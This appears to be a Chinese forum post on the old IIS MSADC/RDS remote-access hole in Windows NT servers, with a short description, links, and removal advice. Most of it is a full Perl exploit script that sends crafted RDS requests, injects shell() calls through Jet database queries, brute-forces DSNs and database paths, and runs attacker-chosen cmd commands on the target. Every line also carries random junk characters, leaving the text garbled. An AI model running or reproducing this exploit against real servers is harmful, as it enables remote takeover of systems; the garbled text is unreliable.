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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 3;AJp_;  
rx@2Dmt6  
涉及程序: spWo{  
Microsoft NT server  }- wK  
~VV$wU!A  
描述: HrUE?Sq  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 BadnL<cj]  
CD4@0Z+  
详细: Z_mQpt|y  
如果你没有时间读详细内容的话,就删除: 2"WP>>b80  
c:\Program Files\Common Files\System\Msadc\msadcs.dll cI-@nV  
有关的安全问题就没有了。 *DvQnj  
i/ PL!'oq  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 r(rT.D&  
BE!l{  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 SeLFubs_  
关于利用ODBC远程漏洞的描述,请参看: T/:6Z  
H(Y1%@  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm T=CJUla  
%eGI]!vf  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 *77Y$X##k  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp q9c-UQB(!  
}/ Qj8l.  
这里不再论述。 ]1M Z:]k  
0D0uzUD-  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: u"8KH u5C@  
#VxN [770  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset <`NtTG  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! @?gRWH;Pq  
b"Jr_24t3v  
QQD7NN>  
#将下面这段保存为txt文件,然后: "perl -x 文件名" x:c'ek  
)5u#'5I>  
#!perl .R^ R|<x  
# iu2O/l# r  
# MSADC/RDS 'usage' (aka exploit) script Z:diM$Z?7  
# d+"F(R9  
# by rain.forest.puppy cv. j  
# m%c]+Our`  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 5x!rT&!G  
# beta test and find errors! ): fu]s"  
-J0I2D  
use Socket; use Getopt::Std; S|?P#.=GX  
getopts("e:vd:h:XR", \%args); g'2}Y5m$`  
@.,'A[D!K  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; +wZ|g6vMct  
=&~ K;=:  
if (!defined $args{h} && !defined $args{R}) { 8Nx fYA  
print qq~ @~FJlG(n  
Usage: msadc.pl -h <host> { -d <delay> -X -v } o\fPZ`p-m~  
-h <host> = host you want to scan (ip or domain) RFq=`/>dG  
-d <seconds> = delay between calls, default 1 second X.ZG-TC  
-X = dump Index Server path table, if available i O$ ?No  
-v = verbose [7  t  
-e = external dictionary file for step 5 ->Fsmb+R  
U&SSc@of  
Or a -R will resume a command session 9t8ccr  
A,c_ME+DVB  
~; exit;}  O`Htdnu  
SZ:R~4 A  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; zoBp02j  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} r4fd@<=g  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} g[;&_gL  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ;u<F,o(  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Swgvj(y;!A  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } V7vojm4 O  
] #7baZ  
if (!defined $args{R}){ $ret = &has_msadc; w:](F^<s,  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} v~0lZe  
=w<iYO  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ,V''?@  
. "cmd /c "; E!`/XB/nA  
$in=<STDIN>; chomp $in; -V P_Aw$  
$command="cmd /c " . $in ; %VE FruM  
<3Rq!w/  
if (defined $args{R}) {&load; exit;} q(BRJ(  
;Mr Q1  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; \"$q=%vD  
&try_btcustmr; HUbXJsSP  
Equ%6x  
print "\nStep 2: Trying to make our own DSN..."; aM:tg1g  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; e}s,WC2-  
-CALU X  
print "\nStep 3: Trying known DSNs..."; F*Ul#yX  
&known_dsn; AjsjYThV  
CY"i|s  
print "\nStep 4: Trying known .mdbs..."; h]4qJ  
&known_mdb; 9l,8:%X_  
.~a8\6t  
if (defined $args{e}){ `W7;-  
print "\nStep 5: Trying dictionary of DSN names..."; (l/i#  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } }a%Wu 7D  
kmt+E'^]  
print "Sorry Charley...maybe next time?\n"; 4$4Tx9C  
exit; S+?*l4QK  
|BO5<`&I  
############################################################################## >b~Q%{1  
!Nbi&^k B  
sub sendraw { # ripped and modded from whisker ,t|_Nc  
sleep($delay); # it's a DoS on the server! At least on mine... MfA%Xep  
my ($pstr)=@_; slLTZ]  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || e.(RhajB  
die("Socket problems\n"); ~8'HX*B]z  
if(connect(S,pack "SnA4x8",2,80,$target)){ |1Nz8Vr.  
select(S); $|=1; mn(MgJKQ\  
print $pstr; my @in=<S>; ANR611-a  
select(STDOUT); close(S); )P|/<>z  
return @in; Q[lkhx|.B  
} else { die("Can't connect...\n"); }} &m{~4]qWpM  
I,V'J|=j  
############################################################################## bHzZ4i  
"AIS6%,  
sub make_header { # make the HTTP request >f;oY9 {m  
my $msadc=<<EOT R^.c  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 EPM(hxCIQ  
User-Agent: ACTIVEDATA S-brV\v7  
Host: $ip buHUBn[3)  
Content-Length: $clen !H @nAz  
Connection: Keep-Alive UaHN*@  
fUJe{C<H  
ADCClientVersion:01.06 5!6}g<z&L  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 f%REN3=5K  
GB}X  
--!ADM!ROX!YOUR!WORLD! y;hco  
Content-Type: application/x-varg vVo# nzeZ5  
Content-Length: $reqlen 4ijZQ  
vmW`}FKW  
EOT 4Cvo^k/I  
; $msadc=~s/\n/\r\n/g; "eI">`!g  
return $msadc;} l_fERp#y  
W61:$y}8  
############################################################################## (e3?--~b6  
5'xZ9K  
sub make_req { # make the RDS request ^!O2Fw  
my ($switch, $p1, $p2)=@_; !V/p.O  
my $req=""; my $t1, $t2, $query, $dsn; X4"[,:Tw  
*C> N  
if ($switch==1){ # this is the btcustmr.mdb query U"Z %_[*  
$query="Select * from Customers where City=" . make_shell(); `?T8NK  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . lPz5.(5'  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} =.9tRq  
^ .Q/iXgh  
elsif ($switch==2){ # this is general make table query O)r>AdLGn  
$query="create table AZZ (B int, C varchar(10))"; i^/ H>E%u  
$dsn="$p1";} aQ)g7C  
^Ux*"\/Es  
elsif ($switch==3){ # this is general exploit table query Ll^9,G"Tt  
$query="select * from AZZ where C=" . make_shell(); <a2Kc '  
$dsn="$p1";} PU\@^)$  
1$"wN z  
elsif ($switch==4){ # attempt to hork file info from index server O[ ^zQA  
$query="select path from scope()"; MO79FNH2\  
$dsn="Provider=MSIDXS;";} %5 <t3 H"  
@2 SL$0!QA  
elsif ($switch==5){ # bad query utw@5  
$query="select"; q,j` _ R4  
$dsn="$p1";} lpefOnO[  
D&8*4>  
$t1= make_unicode($query); >Wj8[9zf  
$t2= make_unicode($dsn); J-Fqw-<aFJ  
$req = "\x02\x00\x03\x00"; @'S !G"\  
$req.= "\x08\x00" . pack ("S1", length($t1)); Oin:5K)4-  
$req.= "\x00\x00" . $t1 ; r}t%DH  
$req.= "\x08\x00" . pack ("S1", length($t2)); uC1v^!D  
$req.= "\x00\x00" . $t2 ; Y F W0  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; %W$?*Tm  
return $req;} om,=.,|Ld  
R=HcSRTkA  
############################################################################## vu)V:y  
B 6,X)  
sub make_shell { # this makes the shell() statement Q__1QUu  
return "'|shell(\"$command\")|'";} i)d'l<RA  
R<1[hH9"o  
############################################################################## fOO[`"'Pq  
\"A~ks~  
sub make_unicode { # quick little function to convert to unicode 'gz@UE1  
my ($in)=@_; my $out; @nF#\  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } _ "[O=h:  
return $out;} ]F,v#6qi  
LD}ZuCp!  
############################################################################## O.P:~  
$e![^I]`  
sub rdo_success { # checks for RDO return success (this is kludge) dp>LhTLc  
my (@in) = @_; my $base=content_start(@in); j [y+'O  
if($in[$base]=~/multipart\/mixed/){ Hd=!  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} oJEjg>%n  
return 0;} t8b,@J`R  
cBnB(t%  
############################################################################## L+" 5g@  
'=m ?l  
sub make_dsn { # this makes a DSN for us 3 ?DM AV  
my @drives=("c","d","e","f"); -o0~xspF  
print "\nMaking DSN: "; {-\VX2:;[9  
foreach $drive (@drives) { 2<5s0GT'/  
print "$drive: "; NU|T`gP  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . \o,`@2H+'  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ?gOZY\[ma  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); .e%B'  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; U}<;4Px]7v  
return 0 if $2 eq "404"; # not found/doesn't exist $`/J V?Z  
if($2 eq "200") { :ug j+  
foreach $line (@results) { qnR{'d  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} g\ p;  
} return 0;} eVbaxL!Q^  
X2p9KC  
############################################################################## rgg3{bU/  
'm+)n08[  
sub verify_exists { *1;}c z  
my ($page)=@_; [.`#N1-@M  
my @results=sendraw("GET $page HTTP/1.0\n\n"); nA^UF_rD-  
return $results[0];} B^uQv|m  
\)vxZ!  
############################################################################## ^ $t7p 1  
`;!v<@:i2  
sub try_btcustmr { 9l :Bum)9  
my @drives=("c","d","e","f"); ``mW\=fe  
my @dirs=("winnt","winnt35","winnt351","win","windows"); /8w _jjW  
$ OMGo`z  
foreach $dir (@dirs) { co!#.  
print "$dir -> "; # fun status so you can see progress ByPzA\;e  
foreach $drive (@drives) { @[4Tdf  
print "$drive: "; # ditto W.AN0N  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; g&"__~dS-F  
$reqlenlen=length( "$reqlen" ); C/Dc1sj  
$clen= 206 + $reqlenlen + $reqlen; 9*}?0J8  
=-dk@s  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); \[w82%U  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} B? r[|  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} '\X<+Sm'  
9L'R;H?L  
############################################################################## )/F1,&/N`e  
=<,AzuV  
sub odbc_error { k;pTOj  
my (@in)=@_; my $base; SD^6ib/]b  
my $base = content_start(@in); bqAv)2  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this $=GZ"%ED  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; #:?vpV#i  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; e&(Di,%:  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jz2W/EE`w  
return $in[$base+4].$in[$base+5].$in[$base+6];} QNH5Cq;Y  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; tA2I_W Cl  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . -\!"Kz/  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} N8| ;X  
V{[vIt*  
##############################################################################  w|>O!]K]  
fhAK^@h  
sub verbose { \{G1d"n  
my ($in)=@_; rSVU|O3m;  
return if !$verbose; 9+\3E4K  
print STDOUT "\n$in\n";} Svo gvn  
GJY7vS^#  
############################################################################## ?B2 T'}~  
^\uj&K6l  
sub save { <tbsQ3  
my ($p1, $p2, $p3, $p4)=@_; 9ci=]C5o3K  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; m4~Co*]w  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; #eT{?_wM  
close OUT;} KN;b+`x;M  
do9@6[{Sv  
############################################################################## ~E=.*: 5(  
{Ah\-{]  
sub load { r~uWr'}a}  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; GyOo$FW  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); +_ HPZo  
@p=<IN>; close(IN); zF2GW  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); }Z ws e%;  
$target= inet_aton($ip) || die("inet_aton problems"); HUtuUX  
print "Resuming to $ip ..."; q*oUd/F8  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 1B;sSp.>  
if($p[1]==1) { \*s'S*~  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; H|H!VPof]  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;  Yq.Cz:>b  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 8#w}wGV*  
if (rdo_success(@results)){print "Success!\n";} yD+)!q"  
else { print "failed\n"; verbose(odbc_error(@results));}} [e+"G <>  
elsif ($p[1]==3){ 2c.~cNx`q[  
if(run_query("$p[3]")){ HPGi5rU  
print "Success!\n";} else { print "failed\n"; }} XTD _q  
elsif ($p[1]==4){ )x-iru A:  
if(run_query($drvst . "$p[3]")){ BOLG#}sm  
print "Success!\n"; } else { print "failed\n"; }} MmBM\Dnv  
exit;} D84`#Xbi  
U<**Est  
############################################################################## `<h}Ygo>k/  
\5$N> 2kO  
sub create_table { dIG(7 ~  
my ($in)=@_; \w!G  
$reqlen=length( make_req(2,$in,"") ) - 28; ki#O ^vl  
$reqlenlen=length( "$reqlen" ); n_%JXm#\  
$clen= 206 + $reqlenlen + $reqlen; w<<G}4~u|  
my @results=sendraw(make_header() . make_req(2,$in,"")); z6 v RTY  
return 1 if rdo_success(@results); Eoug/we  
my $temp= odbc_error(@results); verbose($temp); ee]PFW28  
return 1 if $temp=~/Table 'AZZ' already exists/; MX 2UYZ&  
return 0;} N?H;fK4v  
EnJAHgRV;e  
############################################################################## jZcjiOX  
4Wq{ch  
sub known_dsn { `Njv#K} U  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go !Jw   
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Yz0ruhEMk  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", !Re/W ykY  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ,>n 4 `A  
N0h"EV[  
foreach $dSn (@dsns) { q#-szZQ  
print "."; R ;^[4<&  
next if (!is_access("DSN=$dSn")); R/M:~h~F!  
if(create_table("DSN=$dSn")){ ur-&- G^  
print "$dSn successful\n";  yf!  
if(run_query("DSN=$dSn")){ @4 m_\]Wy  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { nJF"[w,?  
print "Something's borked. Use verbose next time\n";}}} print "\n";} wxARD3%  
inavi5.  
############################################################################## 9)Y]05us  
|lIkmW{  
sub is_access { qx<`Kc4  
my ($in)=@_; A+3@N99HeH  
$reqlen=length( make_req(5,$in,"") ) - 28; W?!(/`J]  
$reqlenlen=length( "$reqlen" ); W{l+_a{/9  
$clen= 206 + $reqlenlen + $reqlen; e =Vu;  
my @results=sendraw(make_header() . make_req(5,$in,"")); EVMhc"L  
my $temp= odbc_error(@results); ,b=&iDc  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); *A`hKx  
return 0;} | QJ!5nb  
G8@({EY  
##############################################################################  &(\z  
3=1aMQ  
sub run_query { 6#O n .Q  
my ($in)=@_; LbtcZ)D!  
$reqlen=length( make_req(3,$in,"") ) - 28; mCe,(/>l+  
$reqlenlen=length( "$reqlen" ); v8,+|+3  
$clen= 206 + $reqlenlen + $reqlen; *KF:  
my @results=sendraw(make_header() . make_req(3,$in,"")); K Ii Vz<  
return 1 if rdo_success(@results); OB8fFd  
my $temp= odbc_error(@results); verbose($temp); nI%0u<=d  
return 0;} ;Br8\2=$  
kssS,Ogf\_  
############################################################################## zv!%u=49  
$BG4M?Y  
sub known_mdb { y@'8vOh`  
my @drives=("c","d","e","f","g"); {IJV(%E   
my @dirs=("winnt","winnt35","winnt351","win","windows"); 3x9O<H}  
my $dir, $drive, $mdb; V< 0gD?Kx  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; [a\:K2*'  
Lw?4xerLsb  
# this is sparse, because I don't know of many )H#Hs<)Qy  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Er Ji  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", _wKFT>  
"\\system32\\certmdb.mdb", [kgT"?w=  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% g1L$+xD^  
+O}6 8 N  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", w`,[w,t  
"\\cfusion\\cfapps\\forums\\forums_.mdb", zWgNDYT~  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", fQlR;4QX]  
"\\cfusion\\cfapps\\security\\realm_.mdb", _L(6F T J  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", -*k%'Gr  
"\\cfusion\\database\\cfexamples.mdb", |&3m'"(  
"\\cfusion\\database\\cfsnippets.mdb", qi h7  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", s<|.vVi"  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", m;lwMrY\7>  
"\\cfusion\\brighttiger\\database\\cleam.mdb", U;:>vi3p  
"\\cfusion\\database\\smpolicy.mdb", 07Yh  
"\\cfusion\\database\cypress.mdb", {QTfD~z^K  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ^Qrdh0j  
"\\website\\cgi-win\\dbsample.mdb", *nluK  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", x SF#ys4v  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" eP|:b &  
); #these are just FD*`$.e3\  
foreach $drive (@drives) { >IC.Zt@  
foreach $dir (@dirs){ *j2P#et  
foreach $mdb (@sysmdbs) { EYd`qk 3  
print "."; BS>|M}G)r  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ bgqN&J)Jr)  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; QS,IM >Nr  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ \CM(  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; (ta!4h,  
} else { print "Something's borked. Use verbose next time\n"; }}}}} `&b 8wF  
V"*|`z)  
foreach $drive (@drives) {  W *0XV  
foreach $mdb (@mdbs) { `UMv#-Y8  
print "."; g4&zBn  
if(create_table($drv . $drive . $dir . $mdb)){ X3#|9  
print "\n" . $drive . $dir . $mdb . " successful\n"; 1j# ~:=I  
if(run_query($drv . $drive . $dir . $mdb)){ Lg[*P8wE  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ..3TB=Z#  
} else { print "Something's borked. Use verbose next time\n"; }}}} #IA[erf:  
} CtV$lXxup  
^.&uYF&  
############################################################################## uO>$,s  
7m{ 'V`F  
sub hork_idx { 2[LT!TT  
print "\nAttempting to dump Index Server tables...\n"; [#$-kd~  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; THWT\3~,  
$reqlen=length( make_req(4,"","") ) - 28; =|bM|8,  
$reqlenlen=length( "$reqlen" ); 1`r 4  
$clen= 206 + $reqlenlen + $reqlen; [Pi8gj*  
my @results=sendraw2(make_header() . make_req(4,"","")); W`^'hka  
if (rdo_success(@results)){ 7gfNe kr~W  
my $max=@results; my $c; my %d; ;&37mO/T  
for($c=19; $c<$max; $c++){ PQ<""_S||  
$results[$c]=~s/\x00//g; 1mgLH  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; v$s3f|Y  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; `QXO+'j4  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; vr/V_  
$d{"$1$2"}="";} m:d P,  
foreach $c (keys %d){ print "$c\n"; } YwQxN"  
} else {print "Index server doesn't seem to be installed.\n"; }} Cy4@\X%W  
Dr$k6kZ}'U  
############################################################################## ZOK2BCoW  
f{FW7T}O2  
sub dsn_dict { y/h~oGxy  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); {*ATY+  
while(<IN>){ ,>V|%tD'  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ++-HdSHY  
next if (!is_access("DSN=$dSn")); nZ>qM]">u  
if(create_table("DSN=$dSn")){ 8]]uk=P  
print "$dSn successful\n"; 2HoTj|  
if(run_query("DSN=$dSn")){ tm@&f  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { v*<hE>J0  
print "Something's borked. Use verbose next time\n";}}} ?<]BLkx  
print "\n"; close(IN);} a&6 3[p.<}  
AIR,XlD  
############################################################################## {3@f(H m  
v{$X2z_$w  
sub sendraw2 { # ripped and modded from whisker )~v`dwKj;  
sleep($delay); # it's a DoS on the server! At least on mine... ;"-(QE?Mv  
my ($pstr)=@_; .C$S DhJ~  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || wUW^ O  
die("Socket problems\n"); rS\j9@=Y4  
if(connect(S,pack "SnA4x8",2,80,$target)){ fPZt*A__  
print "Connected. Getting data"; $[T^ S  
open(OUT,">raw.out"); my @in; ' 7+x,TszI  
select(S); $|=1; print $pstr; t*m04* }  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} CeSr~Ikg|  
close(OUT); select(STDOUT); close(S); return @in; vP`Sz}FU  
} else { die("Can't connect...\n"); }} K PSFy<  
q.U` mtS  
############################################################################## 9u^PM  
~m8".Z"  
sub content_start { # this will take in the server headers 0f&B;?)!  
my (@in)=@_; my $c; .LhIB?  
for ($c=1;$c<500;$c++) { u)Y~+ [Q  
if($in[$c] =~/^\x0d\x0a/){ O`Er*-O  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } :f G5?])  
else { return $c+1; }}} LQ`s>q  
return -1;} # it should never get here actually #(F/P!qk  
JS <S?j?*/  
############################################################################## <qT[  
?1*Ka  
sub funky { m_zl*s*6  
my (@in)=@_; my $error=odbc_error(@in); .T 6 NMIp*  
if($error=~/ADO could not find the specified provider/){ U>w#`Sy[  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 'i;1n  
exit;} FkY}6  
if($error=~/A Handler is required/){ _v bCC7Bf8  
print "\nServer has custom handler filters (they most likely are patched)\n"; 3}(6z"r  
exit;} 1)pwR3(^Fz  
if($error=~/specified Handler has denied Access/){ r&oR|-2hRk  
print "\nServer has custom handler filters (they most likely are patched)\n"; .A<G$ db ?  
exit;}} /2l&D~d"  
#%O|P&rA  
############################################################################## \(2w/~  
(hNTr(z  
sub has_msadc { `qnp   
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); G d~ v _  
my $base=content_start(@results); %c"PMTq(  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 0gO_dyB  
return 0;} mivb}cKM  
rV84?75( Y  
######################## <}t~^E,  
7'Z-VO  
YbtsJ <w  
解决方案: g xY6M4  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 94VtGg=b}  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 &H8wYs  
9$[6\jMh  
拿出来充数 哈哈
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